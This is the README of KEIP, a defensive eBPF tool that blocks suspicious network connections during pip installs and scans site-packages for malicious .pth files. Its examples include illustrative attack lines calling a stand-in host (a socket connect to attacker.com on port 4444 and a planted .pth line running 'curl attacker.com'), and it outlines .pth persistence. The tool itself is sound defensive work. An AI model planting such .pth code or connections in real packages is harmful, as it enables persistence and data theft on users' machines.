Skip to content

Otsmane-Ahmed/KEIP

Repository files navigation

KEIP - Kernel-Enforced Install-Time Policies

Real-time malware protection for Python package installations using eBPF

License Python Linux eBPF

FeaturesHow it worksInstallationUsageDocumentation


What is KEIP?

KEIP Demo

KEIP sits between pip install and your kernel. It watches every network connection a package makes during installation and kills anything that looks suspicious. No signatures, no databases, just behavior.

If a package tries to phone home on a weird port or talk to a dozen different servers, KEIP shuts it down before it can do any damage.

Why does this matter?

When you run pip install some-package, that package can run arbitrary code through its setup.py. This is how attackers steal credentials, open backdoors, and exfiltrate data. It happens more often than you'd think.

The tools we have today don't really solve this:

  • Static scanners miss obfuscated code (and about half of malicious packages use obfuscation)
  • Sandboxes add 2-5 seconds per install, which kills CI/CD performance
  • Runtime monitoring only kicks in after installation is done, which is too late
  • Signature databases are useless against new attacks

KEIP takes a different approach. It hooks into the kernel using eBPF and enforces security policies during installation, in real time, at a level that can't be bypassed from userspace.


Features

Feature Description
Kernel-level enforcement eBPF LSM hooks block threats at the source, can't be bypassed
Install-time protection Targets the install phase, where 56% of supply chain attacks happen
Behavioral detection Watches what packages do, not what they look like
.pth file detection Catches malicious persistence files planted in site-packages
No sudo required Uses Linux capabilities (CAP_BPF) instead of full root access
CI/CD ready Under 50ms overhead, won't slow down your pipeline
Low false positives Legitimate packages (PyPI CDN, GitHub) go through just fine
Real-time monitoring See every connection a package makes as it happens
Process termination Kills the entire process group, not just one connection

How it works

KEIP uses three rules to decide if a package is behaving normally or not.

Architecture flow

graph TB
    A[Developer: pip install malicious-pkg] --> B[Python spawns child process]
    B --> C[setup.py executes]
    C --> D[Tries socket.connect on port 4444]
    D --> E{KEIP eBPF Hook<br/>socket_connect}
    E -->|Port 4444?| F[BLOCKED]
    E -->|Port 443?| G[ALLOWED]
    F --> H[Kill Process Group]
    G --> I[Installation continues]
    
    style F fill:#ff6b6b
    style G fill:#51cf66
    style E fill:#4dabf7
Loading

Rule 1: Port trap

Legitimate packages only need ports 80, 443, and 53 (HTTP, HTTPS, DNS). If a package tries to connect on port 22 (SSH), 4444 (common reverse shell), 6379 (Redis), or anything else unusual, that's a red flag.

pip install malicious-package
  setup.py tries socket.connect("attacker.com", 4444)
    KEIP intercepts at kernel level
      Process killed, installation stopped

Rule 2: Connection counter

A normal package talks to maybe 2-4 servers during install (PyPI CDN, maybe GitHub). Malware tends to scan or try multiple C2 servers. KEIP blocks any package that contacts more than 5 unique IPs.

Rule 3: Data exfiltration detection (coming soon)

Normal packages download a lot and upload very little. Malware does the opposite, it reads your SSH keys and environment variables and sends them somewhere. KEIP will flag any installation where the upload/download ratio looks off.


What's New

Runs without sudo

KEIP no longer requires sudo to run after system-wide installation.

This was a critical improvement for CI/CD pipelines and developer workflows. Requiring root access made KEIP difficult to deploy in automated environments like GitHub Actions, GitLab CI, and Jenkins, where granting sudo to a build step is either impossible or a serious security concern. Developers also avoided using KEIP locally because running security tools with full root privileges felt counterintuitive. By removing the sudo requirement, KEIP can now be dropped into any pipeline or developer machine with zero friction.

To avoid granting global eBPF privileges to the system's python3 binary (which would be a massive security flaw where any python script could load kernel hooks), we introduced a dedicated python binary strategy:

  1. setup.sh: Added libcap2-bin to install the setcap tool.
  2. install.sh: Creates an isolated copy of Python at /opt/keip/keip-python and assigns it cap_bpf,cap_sys_admin,cap_perfmon,cap_dac_read_search=ep.
  3. install.sh: The global wrapper /usr/local/bin/keip now explicitly uses this dedicated binary.
  4. run_keip.sh: Edited to look for cap_bpf on the python binary if not run as root.
  5. src/keip_pip_monitor.py: Removed the hardcoded os.geteuid() != 0 check. If capabilities are missing, the BCC module will fail gracefully on its own.

This means the system's Python stays untouched, and only the KEIP-specific binary gets eBPF privileges.

.pth File Planting Detection (Post-Install Audit)

KEIP was previously blind to .pth file planting, a persistence technique where a malicious package silently drops a file into site-packages that gets executed every time Python starts.

The problem: This .pth fix is for people who use a global environment (don't use venv), and for people who reuse venvs across many projects. A malicious package can drop a .pth file in the site-packages folder (either the global environment or the venv environment), and whenever you run python to execute your code, python will check the site-packages and execute whatever .pth is there even if it is related to your python code or not (even if its related to your imports or not on your script). Since its not a child of pip install, KEIP won't intercept the malicious call.

How we fixed it:

  1. src/pth_audit.py: Created a new module that snapshots all .pth files in every site-packages directory (global + venv) before and after a pip install. It compares the snapshots and alerts the user if any new .pth files containing executable code (import ... lines) were planted. It also includes a whitelist of known safe .pth files (e.g. distutils-precedence.pth from setuptools) to avoid false positives.
  2. keip install <package>: Wraps pip install with the .pth audit (before + after snapshot).
  3. keip scan: Standalone scanner that checks all existing .pth files for executable code at any time.
  4. keip python <script>: Safe python wrapper that scans for malicious .pth files before running the script. If threats are found, execution is blocked. Supports --force to override.
  5. install.sh: Updated the keip wrapper to route all new subcommands to pth_audit.py.

Requirements

  • Linux with kernel 5.7 or newer (needs LSM BPF support)
  • BTF (BPF Type Format) enabled in the kernel

Tested on:

  • Debian 12
  • Ubuntu 22.04+
  • Kali Linux
  • Fedora 38+

If you're on a different distro, check your kernel version with uname -r.


Installation

git clone https://github.com/Otsmane-Ahmed/KEIP.git
cd KEIP
chmod +x *.sh
./check_compat.sh
sudo ./setup.sh
sudo ./install.sh

That's it. Here's what each step does:

./check_compat.sh checks if your kernel and system support eBPF LSM hooks.

sudo ./setup.sh installs dependencies: clang, llvm, bpfcc, kernel headers, and sets up a Python virtual environment.

sudo ./install.sh copies KEIP to /opt/keip and creates a global keip command in /usr/local/bin.

To verify everything is in place:

which keip
# should output: /usr/local/bin/keip

Usage

KEIP provides multiple commands for different security needs:

Command Description
keip Start the real-time eBPF network monitor
keip install <package> Install a package with .pth file auditing
keip scan Scan for malicious .pth files in your environment
keip python <script> Run Python safely with .pth pre-check
keip --quiet Start eBPF monitor in quiet mode (CI/CD)
keip --help Show all options

Starting the eBPF monitor

If you installed KEIP system-wide via ./install.sh, it uses Linux capabilities (CAP_BPF) to run without sudo.

keip

You should see:

╔═════════════════════════════════════════════════════════╗
║  KEIP v1.0.0 - Kernel-Enforced Install-Time Policies    ║
║  eBPF-based Python Package Security Monitor             ║
║                                                         ║
║  Author: Otsmane Ahmed                                  ║
║  GitHub: https://github.com/Otsmane-Ahmed/KEIP          ║
╚═════════════════════════════════════════════════════════╝

[*] KEIP Monitor Starting...
[*] Behavioral Detection Mode Enabled
[*] Configuration:
    - Allowed ports: [80, 443, 53]
    - Max unique IPs: 5
    - Monitoring: pip, pip3, python, python3
[+] eBPF program compiled
[+] LSM hooks ready
[*] Monitoring active. Press Ctrl+C to stop.

Testing with a safe package

Open another terminal and install something legitimate. KEIP monitors all pip and python processes system-wide, so it doesn't matter if you're using the virtual environment that setup.sh created, your own venv, or installing directly on the system. It will pick it up either way.

pip install requests

KEIP will show:

[ALLOWED] PID 12345 -> 151.101.64.223:443
[ALLOWED] PID 12345 -> 151.101.128.223:443

Normal traffic, normal ports, no problem.

What a blocked install looks like

If a package tries something sketchy:

[BLOCKED] PID 12346 -> 203.0.113.45:22
  Reason: Suspicious port (not 80/443/53)
  [!] Terminating process group 12346...

The package gets killed and the install fails.

Installing packages with .pth file auditing

Use keip install instead of pip install to audit for malicious .pth file planting:

keip install requests

KEIP will:

  1. Check all existing .pth files for executable code
  2. Snapshot .pth files before the install
  3. Run pip install normally
  4. Snapshot .pth files after the install
  5. Alert you if any new or modified .pth files with executable code were found
[KEIP .pth AUDIT] Scanning site-packages before install...
  Monitoring: /usr/lib/python3/dist-packages
  Found 3 existing .pth file(s)
[KEIP .pth AUDIT] Checking existing .pth files for executable code...
  All existing .pth files are clean.
[KEIP .pth AUDIT] Running pip install...
[KEIP .pth AUDIT] Scanning site-packages after install...
[KEIP .pth AUDIT] No new or modified .pth files detected. All clear.

Scanning for malicious .pth files

Run a standalone scan at any time to check your environment:

keip scan

If a malicious .pth file is found:

[KEIP SCAN] Scanning all site-packages for malicious .pth files...
  Found 2 .pth file(s)

╔══════════════════════════════════════════════════════════════╗
║    KEIP ALERT: EXISTING MALICIOUS .pth FILE FOUND!           ║
╚══════════════════════════════════════════════════════════════╝
  File: /home/user/.../site-packages/evil.pth
  Executable code found: import os; os.system("curl attacker.com")
  WARNING: This file executes silently every time Python starts!
  Recommendation: Delete this file immediately with:
    rm /home/user/.../site-packages/evil.pth

Safe Python execution

Use keip python to scan for malicious .pth files before running your script:

keip python myscript.py

If threats are found, KEIP blocks execution to protect you:

[KEIP] Scanning .pth files before execution...
[KEIP] BLOCKED: Malicious .pth files detected!
  Python execution was stopped to protect you.
  Delete the malicious files listed above, then try again.
  Or run with: keip python --force myscript.py

If all is clean, your script runs normally:

[KEIP] Scanning .pth files before execution...
[KEIP] All .pth files are clean. Launching Python...

hello

Quiet mode

For CI/CD pipelines where you don't need the banner and info messages:

keip --quiet

Running without system-wide install

If you just want to test it locally:

cd KEIP
source keip-env/bin/activate
# Note: running locally bypasses the system-wide capabilities, so sudo is still required here
sudo ./run_keip.sh

Configuration

You can tweak the detection rules by editing /opt/keip/src/config.json:

{
    "behavioral_detection": {
        "allowed_ports": [80, 443, 53],
        "max_unique_ips": 5,
        "max_send_bytes": 20480,
        "send_receive_ratio": 0.1
    },
    "monitoring": {
        "process_names": ["pip", "pip3", "python", "python3"]
    }
}
Option What it does Default
allowed_ports Which ports are considered safe [80, 443, 53]
max_unique_ips How many unique IPs before blocking 5
max_send_bytes Max outbound data during install 20480 (20KB)
send_receive_ratio Max upload-to-download ratio 0.1 (10%)

Restart KEIP after making changes.


Uninstallation

cd KEIP
sudo ./uninstall.sh

This cleans up everything: the global keip command, files in /opt/keip, and the local virtual environment.

To also remove the project directory:

cd ..
rm -rf KEIP/

Documentation

Architecture

┌─────────────────────────────────────────────────────────┐
│                    User space                           │
│  Developer runs: pip install package                    │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│                 KEIP monitor (Python)                   │
│  Loads eBPF program, attaches LSM hooks,                │
│  processes events from the kernel                       │
└────────────────────┬────────────────────────────────────┘
                     │
                     ▼
┌─────────────────────────────────────────────────────────┐
│              Kernel space (eBPF/LSM)                    │
│                                                         │
│  bprm_check_security                                    │
│    Tracks pip/python process execution                  │
│                                                         │
│  socket_connect                                         │
│    Intercepts network connections                       │
│    Checks port, IP count, send/recv ratio               │
│    Returns ALLOW or BLOCK (-EPERM)                      │
└─────────────────────────────────────────────────────────┘

Project structure

KEIP/
├── src/
│   ├── keip_pip_monitor.py    # main eBPF monitor
│   ├── pth_audit.py           # .pth file planting detector
│   └── config.json            # detection rules
├── check_compat.sh            # system check
├── setup.sh                   # dependency installer
├── install.sh                 # system-wide installer
├── run_keip.sh               # local runner
├── uninstall.sh              # clean uninstaller
└── README.md

How it compares to other tools

Tool Approach When it acts Can it block? Handles obfuscation?
KEIP Behavioral (eBPF) During install Yes Yes
Bandit Static analysis Before install No No
pip-audit Signature database Before install No No
Falco Runtime monitoring After install No Yes
gVisor Sandboxing Runtime Yes Partially
GoLeash Behavioral (eBPF) Runtime Yes Yes

Most tools either act too early (static analysis, which misses obfuscation) or too late (runtime monitoring, which means the malware already ran). KEIP sits right at the install step, where over half of supply chain attacks actually happen. And unlike GoLeash, which does something similar for Go, KEIP is built for the Python ecosystem.


Troubleshooting

"Requirements or Capabilities missing" - The eBPF monitor requires CAP_BPF. If you are running locally without full installation, you must use sudo ./run_keip.sh. The full installation via install.sh handles capabilities automatically, so keip works without sudo.

"LSM BPF not supported" - Your kernel is either too old or doesn't have BPF LSM enabled. Check with:

uname -r                              # needs to be >= 5.7
cat /sys/kernel/security/lsm          # should contain "bpf"

"bcc module not found" - Run sudo apt install python3-bpfcc or re-run sudo ./setup.sh.

"LSM hook already attached" - A previous KEIP session didn't clean up properly. Kill it with sudo pkill -f keip_pip_monitor or just reboot.

Legitimate package got blocked - Some packages like PyTorch or TensorFlow download from their own CDNs. For now, you'd need to temporarily stop KEIP for those installs. Proper whitelist support is planned.


Contributing

If you want to help out:

  • Found a bug? Open an issue with your system info and the error output
  • Have an idea? Suggest new detection rules or whitelist improvements
  • Want to code? PRs are welcome for anything from docs to new features
  • Have access to malware samples? Test results are always useful
git clone https://github.com/Otsmane-Ahmed/KEIP.git
cd KEIP
sudo ./setup.sh
sudo python3 src/keip_pip_monitor.py

License

MIT License - see LICENSE for details.


Acknowledgments

  • The eBPF community and the BCC toolkit
  • Backstabber's Knife Collection (DIMVA 2020) and GoLeash (2025) research papers
  • Everyone who reports and documents Python supply chain attacks

Contact

Otsmane Ahmed
GitHub: @Otsmane-Ahmed
Project: github.com/Otsmane-Ahmed/KEIP

If KEIP helped you out, a star on the repo would be appreciated.


Made with love by Otsmane Ahmed

About

Kernel-Enforced Install-Time Policies (KEIP): An eBPF/LSM based security tool that detects and blocks malicious network activity during pip install.Kernel-Enforced Install-Time Policies (KEIP): An eBPF/LSM based security tool that detects and blocks malicious network activity during pip install

Topics

Resources

License

Contributing

Security policy

Stars

Watchers

Forks

Packages